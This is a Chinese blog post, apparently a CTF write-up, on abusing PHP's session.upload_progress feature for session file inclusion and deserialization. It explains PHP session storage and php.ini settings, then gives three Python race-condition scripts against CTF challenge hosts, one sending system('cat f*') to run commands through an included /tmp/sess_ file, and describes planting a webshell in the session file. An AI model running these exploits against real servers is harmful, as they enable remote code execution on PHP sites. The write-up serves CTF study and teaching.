- 前言
- session的简介
- PHP中session的存储方式
- php.ini中的一些配置
- php中的session.upload_progress
- 文件包含
- 反序列化
- $_SESSION变量直接可控
- $_SESSION变量不可控
- 参考链接
本文是利用PHP_SESSION_UPLOAD_PROGRESS
进行文件包含和反序列化的总结。
也就是关于php-session的文件包含和反序列化
session的简介session被称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在 Session 对象中.
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的
session和cookie的联系:
cookie中的PHPSESSID将作为服务器session的文件名sess__xxx,浏览器直接根据这个去服务器中找对应的sessid
PHP中session的存储方式直接放y4爷写的总结吧
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
php_serialize经过serialize()函数序列化数组php键名+竖线+经过serialize()函数处理的值php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值 php.ini中的一些配置session.save_path="" --设置session的存储路径 session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
php中的session.upload_progress版本:php5.4以上
在php.ini有以下几个默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
其中
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name将表示为session中的键名
session文件包含和反序列化就是利用session.upload_progress
,可以将上传的文件信息保存在session中.
一般默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,我们需要进行条件竞争.如果为off
,就不需要利用条件竞争.
脚本:
文件上传
import requests
import threading
session = requests.session()
sess = 'zzy' #上传文件的PHPSESSION的ID
url1 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/"
url2 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/upload/"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': ''# 传入的恶意代码
}
file = {
'file': 'zzy'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
文件包含
import requests
import threading
import sys
session = requests.session()
sess = 'zzy'
url1 = "http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/"
url2 = 'http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/?file=/tmp/sess_' + sess
# file后为phpsession的路径
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': ''
}
data2 = {
'1': 'system("cat f*");'
}
file = {
'file': 'abc'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.post(url2, data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
上面两个脚本的区别
文件上传,用url1的内容,post向phpsession中爆flag,然后通过访问url2,可以触发upload下的index.php,然后到.user.ini,再到png中去include PHPSESSION的内容,执行命令。如果是传入小马,url2需要post内容,执行命令
文件包含:url1的内容,来向phpsession中写入小马,然后,通过url2的file的参数去包含phpsession的路径,加上url2的post来执行命令,从而得到flag。
关于文件包含还有个脚本
import io
import requests
import threading
url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'dotasts'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotasts' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
例子有CTF-第五空间
ctfshow有个题也可以这么做
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?